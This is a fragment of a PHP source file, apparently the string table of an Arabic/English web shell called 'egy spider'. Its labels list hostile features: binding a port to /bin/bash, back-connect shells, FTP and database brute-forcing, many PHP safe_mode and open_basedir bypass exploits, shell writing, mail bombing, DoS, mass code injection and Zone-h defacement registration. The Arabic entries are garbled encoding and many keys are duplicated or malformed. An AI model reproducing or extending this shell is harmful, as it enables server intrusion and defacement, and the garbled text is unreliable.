2145'ar_text35'=>'ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ load file in mysql',
2146'ar_text112'=>'ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2147'ar_text113'=>'ÊÎØì ÇáÓÃà ãæà È safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
2148'ar_text114'=>'ÊÎØì ÇáÓÃà ãæà È safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
2149'ar_text115'=>'ÊÎØì ÇáÓÃà ãæà È safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
2150'ar_text120'=>'ÊÎØì ÇáÓÃà ãæà È safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
2151'ar_text121'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
2152'ar_text122'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, view dir list via glob() (PHP <= 5.2.x)',
2153'ar_text123'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
2154'ar_text124'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2155'ar_text126'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
2156'ar_text127'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2157'ar_text128'=>'Modify/Access file (touch)',
2158'ar_text129'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2159'ar_text130'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2160'ar_text131'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2161'ar_text132'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2162'ar_text133'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2163'ar_text142'=>'Downloaders',
2164'ar_text137'=>'Useful',
2165'ar_text128'=>'Modify/Access file (touch)',
2166'ar_text129'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2167'ar_text130'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2168'ar_text131'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2169'ar_text132'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2170'ar_text133'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2171'ar_text134'=>'Database-bruteforce',
2172'ar_text135'=>'Dictionary',
2173'ar_text136'=>'Creating evil symlink',
2174'ar_text137'=>'Useful',
2175'ar_text138'=>'Dangerous',
2176'ar_text139'=>'Mail Bomber',
2177'ar_text140'=>'DoS',
2178'ar_text141'=>'Danger! Web-daemon crash possible.',
2179'ar_text142'=>'Downloaders',
2180'ar_text143'=>'Temp: ',
2181'ar_text144'=>'ÞÑÇÆå ÇáãáÃÇÊ Úä ØÑÃÞ ËÛÑÉ load file in mysqli',
2182'ar_text145'=>'ÊÎØì ÇáÓÃà ãæà È open_basedir, view dir list via realpath() (PHP <= 5.2.4)',
2183'ar_text146'=>'Max Interation',
2184'ar_text147'=>'',
2185'ar_text148'=>'',
2186'ar_text149'=>'',
2187'ar_text150'=>'',
2188'ar_err0'=>'Error! Can\'t write in file ',
2189'ar_err1'=>'Error! Can\'t read file ',
2190'ar_err2'=>'Error! Can\'t create ',
2191'ar_err3'=>'Error! Can\'t connect to ftp',
2192'ar_err4'=>'Error! Can\'t login on ftp server',
2193'ar_err5'=>'Error! Can\'t change dir on ftp',
2194'ar_err6'=>'Error! Can\'t sent mail',
2195'ar_err7'=>'Mail send',
2196'ar_text125'=>'Data',
2197'ar_text225'=>'ÒÑÚ ãáà áÊáÊÎØì ãä ÎáÇá ÞÇÚÃÃ¥ ÇáÈÃÇäÇÊ á 4.4.7 / 5.2.3 PHP ',
2198'ar_text226'=>'ÊÎØì ÇáÓÃà ãæà ÈËÛÑå Root Directory: ',
2199'ar_text227'=>'ÒÑÚ ãáà áÊÎØì ÇáÓà ãæà ÈËÛÑå 4.4.2/5.1.2',
2200'ar_text228'=>'ÒÑÚ ãáà áÊÎØì ÇáÃãÇÃÃ¥ áãäÊÃÉ ÇáÃì Èì ',
2201'ar_text230'=>'ÒÑÚ ãáà áãÚÑÃÃ¥ ßáãÇÊ ÇáãÑæÑ áãæÇÞÚ ÇáÓÃÑÃÑ ÈÃæä ÊÔÃÃÑ ',
2202'ar_text151'=>'ÊÎØì ÇáÓÃà ãæà È chdir()and ftok() (PHP <= 5.2.6)',
2203'ar_text161'=>'ÊÎØì ÇáÓÃà ãæà È posix_access() (posix ext) (PHP <= 5.2.6)',
2204'ar_text147'=>'',
2205'ar_text148'=>'',
2206'ar_text149'=>'',
2207'ar_text150'=>'',
2208'ar_text159'=>'ãÚáæãÇÊ Úä egy spider',
2209'ar_text152'=>'ÇÎÑ ÇáÇÎÈÇÑ',
2210'ar_text153'=>'ÎÑæÌ ',
2211'ar_text154'=>'æÖÚ ÇäÃßÓ ÓÑÃÚå ',
2212'ar_text155'=>'ÃÞä ÇßæÇà ',
2213'ar_text156'=>'ÚÑÖ Çáßæà ',
2214'ar_text157'=>'ÇáÊÓÌÃá Ãì ÇáÒæä ÇÊÔ ',
2215'ar_text158'=>'ÇÃæÇÊ ÇáÊÔÃÃÑ ',
2216'ar_text160'=>'ÇáÑÆÓÃÃ¥ ',
2217'ar_text162'=>'ÇÞÃÇá ÇáÃæÇá æÊÎØì ÇáÓÃà ãæà ãä ÎáÇá ionCube (PHP <= 5.2.4)',
2218'ar_text163'=>'ÊÔÛÃá ÇáÈÃÑá Úáì ÇáÓÃÑÃÑ ',
2219'ar_text170'=>' ÊÎØì ÇáÓÃà ãæà æÇáÃæÇá È Posix_getpw(PHP <= 4.2.0)',
2220'ar_text171'=>' PHP (Win32std) Extension ÊÎØì ÇáÓÃà ãæà æÊÎØì ÇáÃæÇá (PHP <= 5.2.3)',
2221'ar_text180'=>'ÇÑÓá ãáÇÃÙÇÊß æÇÊÕá Èì ',
2222/* --------------------------------------------------------------- */
2223'eng_butt1' =>'Execute',
2224'eng_butt2' =>'Upload',
2225'eng_butt3' =>'Bind',
2226'eng_butt4' =>'Connect',
2227'eng_butt5' =>'Run',
2228'eng_butt6' =>'Change',
2229'eng_butt7' =>'Show',
2230'eng_butt8' =>'Test',
2231'eng_butt9' =>'Dump',
2232'eng_butt10'=>'Save',
2233'eng_butt11'=>'Edit file',
2234'eng_butt12'=>'Find',
2235'eng_butt13'=>'Create/Delete',
2236'eng_butt14'=>'Download',
2237'eng_butt15'=>'Send',
2238'eng_text1' =>'Executed command',
2239'eng_text2' =>'Execute command on server',
2240'eng_text3' =>'Run command',
2241'eng_text4' =>'Work directory',
2242'eng_text5' =>'Upload files on server',
2243'eng_text6' =>'Local file',
2244'eng_text7' =>'Aliases',
2245'eng_text8' =>'Select alias',
2246'eng_text9' =>'Bind port to /bin/bash',
2247'eng_text10'=>'Port',
2248'eng_text11'=>'Password for access',
2249'eng_text12'=>'back-connect',
2250'eng_text13'=>'IP',
2251'eng_text14'=>'Port',
2252'eng_text15'=>'Upload files from remote server',
2253'eng_text16'=>'With',
2254'eng_text17'=>'Remote file',
2255'eng_text18'=>'Local file',
2256'eng_text19'=>'Exploits',
2257'eng_text20'=>'Use',
2258'eng_text21'=>' New name',
2259'eng_text22'=>'datapipe',
2260'eng_text23'=>'Local port',
2261'eng_text24'=>'Remote host',
2262'eng_text25'=>'Remote port',
2263'eng_text26'=>'Use',
2264'eng_text28'=>'Work in safe_mode',
2265'eng_text29'=>'ACCESS DENIED',
2266'eng_text30'=>'Cat file',
2267'eng_text31'=>'File not found',
2268'eng_text32'=>'Eval PHP code',
2269'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
2270'eng_text34'=>'Test bypass safe_mode with include function',
2271'eng_text35'=>'Test bypass safe_mode with load file in mysql',
2272'eng_text36'=>'Database . Table',
2273'eng_text37'=>'Login',
2274'eng_text38'=>'Password',
2275'eng_text39'=>'Database',
2276'eng_text40'=>'Dump database table',
2277'eng_text41'=>'Save dump in file',
2278'eng_text42'=>'Edit files',
2279'eng_text43'=>'File for edit',
2280'eng_text44'=>'Can\'t edit file! Only read access!',
2281'eng_text45'=>'File saved',
2282'eng_text46'=>'Show phpinfo()',
2283'eng_text47'=>'Show variables from php.ini',
2284'eng_text48'=>'Delete temp files',
2285'eng_text49'=>'Delete script from server',
2286'eng_text50'=>'View cpu info',
2287'eng_text51'=>'View memory info',
2288'eng_text52'=>'Find text',
2289'eng_text53'=>'In dirs',
2290'eng_text54'=>'Find text in files',
2291'eng_text55'=>'Only in files',
2292'eng_text56'=>'Nothing :(',
2293'eng_text57'=>'Create/Delete File/Dir',
2294'eng_text58'=>'name',
2295'eng_text59'=>'file',
2296'eng_text60'=>'dir',
2297'eng_text61'=>'File created',
2298'eng_text62'=>'Dir created',
2299'eng_text63'=>'File deleted',
2300'eng_text64'=>'Dir deleted',
2301'eng_text65'=>'Create',
2302'eng_text66'=>'Delete',
2303'eng_text67'=>'Chown/Chgrp/Chmod',
2304'eng_text68'=>'Command',
2305'eng_text69'=>'param1',
2306'eng_text70'=>'param2',
2307'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
2308'eng_text72'=>'Text for find',
2309'eng_text73'=>'Find in folder',
2310'eng_text74'=>'Find in files',
2311'eng_text75'=>'* you can use regexp',
2312'eng_text76'=>'Search text in files via find',
2313'eng_text80'=>'Type',
2314'eng_text81'=>'Net',
2315'eng_text82'=>'Databases',
2316'eng_text83'=>'Run SQL query',
2317'eng_text84'=>'SQL query',
2318'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
2319'eng_text86'=>'Download files from server',
2320'eng_text87'=>'Download files from remote ftp-server',
2321'eng_text88'=>'server:port',
2322'eng_text89'=>'File on ftp',
2323'eng_text90'=>'Transfer mode',
2324'eng_text91'=>'Archivation',
2325'eng_text92'=>'without arch.',
2326'eng_text93'=>'FTP',
2327'eng_text94'=>'FTP-bruteforce',
2328'eng_text95'=>'Users list',
2329'eng_text96'=>'Can\'t get users list',
2330'eng_text97'=>'checked: ',
2331'eng_text98'=>'success: ',
2332'eng_text99'=>'/etc/passwd',
2333'eng_text100'=>'Send file to remote ftp server',
2334'eng_text101'=>'Use reverse (user -> resu)',
2335'eng_text102'=>'Mail',
2336'eng_text103'=>'Send email',
2337'eng_text104'=>'Send file to email',
2338'eng_text105'=>'To',
2339'eng_text106'=>'From',
2340'eng_text107'=>'Subj',
2341'eng_text108'=>'Mail',
2342'eng_text109'=>'Hide',
2343'eng_text110'=>'Show',
2344'eng_text111'=>'SQL-Server : Port',
2345'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2346'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
2347'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
2348'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
2349'eng_text116'=>'Copy from',
2350'eng_text117'=>'to',
2351'eng_text118'=>'File copied',
2352'eng_text119'=>'Cant copy file',
2353'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
2354'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
2355'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)',
2356'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
2357'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2358'eng_text125'=>'Data',
2359'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
2360'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2361'eng_text128'=>'Modify/Access file (touch)',
2362'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2363'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2364'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2365'eng_'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2366'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2367'eng_text134'=>'Database-bruteforce',
2368'eng_text135'=>'Dictionary',
2369'eng_text136'=>'Creating evil symlink',
2370'eng_text137'=>'Useful',
2371'eng_text138'=>'Dangerous',
2372'eng_text139'=>'Mail Bomber',
2373'eng_text140'=>'DoS',
2374'eng_text141'=>'Danger! Web-daemon crash possible.',
2375'eng_text142'=>'Downloaders',
2376'eng_text143'=>'Temp: ',
2377'eng_text144'=>'Test bypass safe_mode with load file in mysqli',
2378'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)',
2379'eng_text146'=>'Max Interation',
2380'eng_text147'=>'',
2381'eng_text148'=>'',
2382'eng_text149'=>'',
2383'eng_text150'=>'',
2384'eng_err0'=>'Error! Can\'t write in file ',
2385'eng_err1'=>'Error! Can\'t read file ',
2386'eng_err2'=>'Error! Can\'t create ',
2387'eng_err3'=>'Error! Can\'t connect to ftp',
2388'eng_err4'=>'Error! Can\'t login on ftp server',
2389'eng_err5'=>'Error! Can\'t change dir on ftp',
2390'eng_err6'=>'Error! Can\'t sent mail',
2391'eng_err7'=>'Mail send',
2392'eng_text1' =>'Executed command',
2393'eng_text2' =>'Execute command on server',
2394'eng_text3' =>'Run command',
2395'eng_text4' =>'Work directory',
2396'eng_text5' =>'Upload files on server',
2397'eng_text6' =>'Local file',
2398'eng_text7' =>'Aliases',
2399'eng_text8' =>'Select alias',
2400'eng_butt1' =>'Execute',
2401'eng_butt2' =>'Upload',
2402'eng_text9' =>'Bind port to /bin/bash',
2403'eng_text10'=>'Port',
2404'eng_text11'=>'Password for access',
2405'eng_butt3' =>'Bind',
2406'eng_text12'=>'back-connect',
2407'eng_text13'=>'IP',
2408'eng_text14'=>'Port',
2409'eng_butt4' =>'Connect',
2410'eng_text15'=>'Upload files from remote server',
2411'eng_text16'=>'With',
2412'eng_text17'=>'Remote file',
2413'eng_text18'=>'Local file',
2414'eng_text19'=>'Exploits',
2415'eng_text20'=>'Use',
2416'eng_text21'=>' New name',
2417'eng_text22'=>'datapipe',
2418'eng_text23'=>'Local port',
2419'eng_text24'=>'Remote host',
2420'eng_text25'=>'Remote port',
2421'eng_text26'=>'Use',
2422'eng_butt5' =>'Run',
2423'eng_text28'=>'Work in safe_mode',
2424'eng_text29'=>'ACCESS DENIED',
2425'eng_butt6' =>'Change',
2426'eng_text30'=>'Cat file',
2427'eng_butt7' =>'Show',
2428'eng_text31'=>'File not found',
2429'eng_text32'=>'Eval PHP code',
2430'eng_text33'=>'Test bypass open_basedir with cURL functions',
2431'eng_butt8' =>'Test',
2432'eng_text34'=>'Test bypass safe_mode with include function',
2433'eng_text35'=>'Test bypass safe_mode with load file in mysql',
2434'eng_text36'=>'Database . Table',
2435'eng_text37'=>'Login',
2436'eng_text38'=>'Password',
2437'eng_text39'=>'Database',
2438'eng_text40'=>'Dump database table',
2439'eng_butt9' =>'Dump',
2440'eng_text41'=>'Save dump in file',
2441'eng_text42'=>'Edit files',
2442'eng_text43'=>'File for edit',
2443'eng_butt10'=>'Save',
2444'eng_text44'=>'Can\'t edit file! Only read access!',
2445'eng_text45'=>'File saved',
2446'eng_text46'=>'Show phpinfo()',
2447'eng_text47'=>'Show variables from php.ini',
2448'eng_text48'=>'Delete temp files',
2449'eng_butt11'=>'Edit file',
2450'eng_text49'=>'Delete script from server',
2451'eng_text50'=>'View cpu info',
2452'eng_text51'=>'View memory info',
2453'eng_text52'=>'Find text',
2454'eng_text53'=>'In dirs',
2455'eng_text54'=>'Find text in files',
2456'eng_butt12'=>'Find',
2457'eng_text55'=>'Only in files',
2458'eng_text56'=>'Nothing :(',
2459'eng_text57'=>'Create/Delete File/Dir',
2460'eng_text58'=>'name',
2461'eng_text59'=>'file',
2462'eng_text60'=>'dir',
2463'eng_butt13'=>'Create/Delete',
2464'eng_text61'=>'File created',
2465'eng_text62'=>'Dir created',
2466'eng_text63'=>'File deleted',
2467'eng_text64'=>'Dir deleted',
2468'eng_butt65'=>'Create',
2469'eng_text65'=>'Create',
2470'eng_text66'=>'Delete',
2471'eng_text67'=>'Chown/Chgrp/Chmod',
2472'eng_text68'=>'Command',
2473'eng_text69'=>'param1',
2474'eng_text70'=>'param2',
2475'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
2476'eng_text72'=>'Text for find',
2477'eng_text73'=>'Find in folder',
2478'eng_text74'=>'Find in files',
2479'eng_text75'=>'* you can use regexp',
2480'eng_text76'=>'Search text in files via find',
2481'eng_text80'=>'Type',
2482'eng_text81'=>'Net',
2483'eng_text82'=>'Databases',
2484'eng_text83'=>'Run SQL query',
2485'eng_text84'=>'SQL query',
2486'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
2487'eng_text86'=>'Download files from server',
2488'eng_butt14'=>'Download',
2489'eng_text87'=>'Download files from remote ftp-server',
2490'eng_text88'=>'FTP-server:port',
2491'eng_text89'=>'File on ftp',
2492'eng_text90'=>'Transfer mode',
2493'eng_text91'=>'Archivation',
2494'eng_text92'=>'without archivation',
2495'eng_text93'=>'FTP',
2496'eng_text94'=>'FTP-bruteforce',
2497'eng_text95'=>'Users list',
2498'eng_text96'=>'Can\'t get users list',
2499'eng_text97'=>'checked: ',
2500'eng_text98'=>'success: ',
2501'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
2502'eng_text100'=>'Send file to remote ftp server',
2503'eng_text101'=>'Use reverse (user -> resu) login for password',
2504'eng_text102'=>'Mail',
2505'eng_text103'=>'Send email',
2506'eng_text104'=>'Send file to email',
2507'eng_text105'=>'To',
2508'eng_text106'=>'From',
2509'eng_text107'=>'Subj',
2510'eng_butt15'=>'Send',
2511'eng_text108'=>'Mail',
2512'eng_text109'=>'Hide',
2513'eng_text110'=>'Show',
2514'eng_text111'=>'SQL-Server : Port',
2515'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
2516'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
2517'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
2518'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
2519'eng_text116'=>'Copy from',
2520'eng_text117'=>'to',
2521'eng_text118'=>'File copied',
2522'eng_text119'=>'Cant copy file',
2523'eng_err0'=>'Error! Can\'t write in file ',
2524'eng_err1'=>'Error! Can\'t read file ',
2525'eng_err2'=>'Error! Can\'t create ',
2526'eng_err3'=>'Error! Can\'t connect to ftp',
2527'eng_err4'=>'Error! Can\'t login on ftp server',
2528'eng_err5'=>'Error! Can\'t change dir on ftp',
2529'eng_err6'=>'Error! Can\'t sent mail',
2530'eng_err7'=>'Mail send',
2531'eng_text200'=>'read file from vul copy()',
2532'eng_text500'=>'read file from id()',
2533'eng_text555'=>'read file from imap()',
2534'eng_text202'=>'where file in server',
2535'eng_text300'=>'read file from vul curl()',
2536'eng_text203'=>'read file from vul ini_restore()',
2537'eng_text204'=>'write shell from vul error_log()',
2538'eng_text205'=>'write shell in this side',
2539'eng_text206'=>'read dir',
2540'eng_text207'=>'read dir from vul reg_glob',
2541'eng_text208'=>'execute with function',
2542'eng_text209'=>'read dir from vul root',
2543'eng_text210'=>'DeZender ',
2544'eng_text211'=>'::safe_mode off::',
2545'eng_text212'=>'colse safe_mode with php.ini',
2546'eng_text213'=>'colse security_mod with .htaccess',
2547'eng_text214'=>'Admin name',
2548'eng_text215'=>'IRC server ',
2549'eng_text216'=>'#room name',
2550'eng_text217'=>'server',
2551'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul',
2552'eng_text225'=>'MySQL Safe Mode Bypass 4.4.7 / 5.2.3 PHP ',
2553'eng_text226'=>'Safe Mode Bpass Root Directory: ',
2554'eng_text227'=>'Safe_Mode Bypass 4.4.2/5.1.2: ',
2555'eng_text228'=>'tools for hacker vb ',
2556'eng_text230'=>'know pass of cpanel ',
2557'eng_text219'=>'Get file to server in safe_mode and change name',
2558'eng_text220'=>'show file with symlink vul',
2559'eng_text221'=>'zip file in server to download',
2560'eng_text222'=>'2 symlink use vul',
2561'eng_text223'=>'read file from funcution',
2562'eng_text224'=>'read file from PLUGIN ',
2563'eng_butt1' =>'Execute',
2564'eng_butt2' =>'Upload',
2565'eng_butt3' =>'Bind',
2566'eng_butt4' =>'Connect',
2567'eng_butt5' =>'Run',
2568'eng_butt6' =>'Change',
2569'eng_butt7' =>'Show',
2570'eng_butt8' =>'Test',
2571'eng_butt9' =>'Dump',
2572'eng_butt10'=>'Save',
2573'eng_butt11'=>'Edit file',
2574'eng_butt12'=>'Find',
2575'eng_butt13'=>'Create/Delete',
2576'eng_butt14'=>'Download',
2577'eng_butt15'=>'Send',
2578'eng_text1' =>'Executed command',
2579'eng_text2' =>'Execute command on server',
2580'eng_text3' =>'Run command',
2581'eng_text4' =>'Work directory',
2582'eng_text5' =>'Upload files on server',
2583'eng_text6' =>'Local file',
2584'eng_text7' =>'Aliases',
2585'eng_text8' =>'Select alias',
2586'eng_text9' =>'Bind port to /bin/bash',
2587'eng_text10'=>'Port',
2588'eng_text11'=>'Password for access',
2589'eng_text12'=>'back-connect',
2590'eng_text13'=>'IP',
2591'eng_text14'=>'Port',
2592'eng_text15'=>'Upload files from remote server',
2593'eng_text16'=>'With',
2594'eng_text17'=>'Remote file',
2595'eng_text18'=>'Local file',
2596'eng_text19'=>'Exploits',
2597'eng_text20'=>'Use',
2598'eng_text21'=>' New name',
2599'eng_text22'=>'datapipe',
2600'eng_text23'=>'Local port',
2601'eng_text24'=>'Remote host',
2602'eng_text25'=>'Remote port',
2603'eng_text26'=>'Use',
2604'eng_text28'=>'Work in safe_mode',
2605'eng_text29'=>'ACCESS DENIED',
2606'eng_text30'=>'Cat file',
2607'eng_text31'=>'File not found',
2608'eng_text32'=>'Eval PHP code',
2609'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
2610'eng_text34'=>'Test bypass safe_mode with include function',
2611'eng_text35'=>'Test bypass safe_mode with load file in mysql',
2612'eng_text36'=>'Database . Table',
2613'eng_text37'=>'Login',
2614'eng_text38'=>'Password',
2615'eng_text39'=>'Database',
2616'eng_text40'=>'Dump database table',
2617'eng_text41'=>'Save dump in file',
2618'eng_text42'=>'Edit files',
2619'eng_text43'=>'File for edit',
2620'eng_text44'=>'Can\'t edit file! Only read access!',
2621'eng_text45'=>'File saved',
2622'eng_text46'=>'Show phpinfo()',
2623'eng_text47'=>'Show variables from php.ini',
2624'eng_text48'=>'Delete temp files',
2625'eng_text49'=>'Delete script from server',
2626'eng_text50'=>'View cpu info',
2627'eng_text51'=>'View memory info',
2628'eng_text52'=>'Find text',
2629'eng_text53'=>'In dirs',
2630'eng_text54'=>'Find text in files',
2631'eng_text55'=>'Only in files',
2632'eng_text56'=>'Nothing :(',
2633'eng_text57'=>'Create/Delete File/Dir',
2634'eng_text58'=>'name',
2635'eng_text59'=>'file',
2636'eng_text60'=>'dir',
2637'eng_text61'=>'File created',
2638'eng_text62'=>'Dir created',
2639'eng_text63'=>'File deleted',
2640'eng_text64'=>'Dir deleted',
2641'eng_text65'=>'Create',
2642'eng_text66'=>'Delete',
2643'eng_text67'=>'Chown/Chgrp/Chmod',
2644'eng_text68'=>'Command',
2645'eng_text69'=>'param1',
2646'eng_text70'=>'param2',
2647'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
2648'eng_text72'=>'Text for find',
2649'eng_text73'=>'Find in folder',
2650'eng_text74'=>'Find in files',
2651'eng_text75'=>'* you can use regexp',
2652'eng_text76'=>'Search text in files via find',
2653'eng_text80'=>'Type',
2654'eng_text81'=>'Net',
2655'eng_text82'=>'Databases',
2656'eng_text83'=>'Run SQL query',
2657'eng_text84'=>'SQL query',
2658'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
2659'eng_text86'=>'Download files from server',
2660'eng_text87'=>'Download files from remote ftp-server',
2661'eng_text88'=>'server:port',
2662'eng_text89'=>'File on ftp',
2663'eng_text90'=>'Transfer mode',
2664'eng_text91'=>'Archivation',
2665'eng_text92'=>'without arch.',
2666'eng_text93'=>'FTP',
2667'eng_text94'=>'FTP-bruteforce',
2668'eng_text95'=>'Users list',
2669'eng_text96'=>'Can\'t get users list',
2670'eng_text97'=>'checked: ',
2671'eng_text98'=>'success: ',
2672'eng_text99'=>'/etc/passwd',
2673'eng_text100'=>'Send file to remote ftp server',
2674'eng_text101'=>'Use reverse (user -> resu)',
2675'eng_text102'=>'Mail',
2676'eng_text103'=>'Send email',
2677'eng_text104'=>'Send file to email',
2678'eng_text105'=>'To',
2679'eng_text106'=>'From',
2680'eng_text107'=>'Subj',
2681'eng_text108'=>'Mail',
2682'eng_text109'=>'Hide',
2683'eng_text110'=>'Show',
2684'eng_text111'=>'SQL-Server : Port',
2685'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2686'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
2687'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
2688'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
2689'eng_text116'=>'Copy from',
2690'eng_text117'=>'to',
2691'eng_text118'=>'File copied',
2692'eng_text119'=>'Cant copy file',
2693'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
2694'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
2695'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)',
2696'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
2697'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2698'eng_text125'=>'Data',
2699'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
2700'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2701'eng_text128'=>'Modify/Access file (touch)',
2702'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2703'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2704'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2705'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2706'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2707'eng_text134'=>'Database-bruteforce',
2708'eng_text135'=>'Dictionary',
2709'eng_text136'=>'Creating evil symlink',
2710'eng_text137'=>'Useful',
2711'eng_text138'=>'Dangerous',
2712'eng_text139'=>'Mail Bomber',
2713'eng_text140'=>'DoS',
2714'eng_text141'=>'Danger! Web-daemon crash possible.',
2715'eng_text142'=>'Downloaders',
2716'eng_text143'=>'Temp: ',
2717'eng_text144'=>'Test bypass safe_mode with load file in mysqli',
2718'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)',
2719'eng_text146'=>'Max Interation',
2720'eng_text151'=>'Test bypass safe_mode with chdir()and ftok() (PHP <= 5.2.6)',
2721'eng_text161'=>'Test bypass safe_mode with posix_access() (posix ext) (PHP <= 5.2.6)',
2722'eng_text162'=>'ionCube extension safe_mode and disable_functions protections bypass (PHP <= 5.2.4)',
2723'eng_text163'=>'PHP Perl Extension Safe_mode Bypass Exploit',
2724'eng_text170'=>' Test bypass safe_mode and Open_basedir Settings by Posix_getpw (PHP <= 4.2.0)',
2725'eng_text171'=>' PHP (Win32std) Extension safe_mode/disable_functions Protections Bypass (PHP <= 5.2.3)',
2726'eng_text147'=>'',
2727'eng_text148'=>'',
2728'eng_text149'=>'',
2729'eng_text150'=>'',
2730'eng_text159'=>'About egy spider',
2731'eng_text152'=>'Latest News',
2732'eng_text153'=>'Logout ',
2733'eng_text154'=>'Quick index ',
2734'eng_text155'=>'Mass Code Injection ',
2735'eng_text156'=>'File source ',
2736'eng_text157'=>'Registration in Zone-h ',
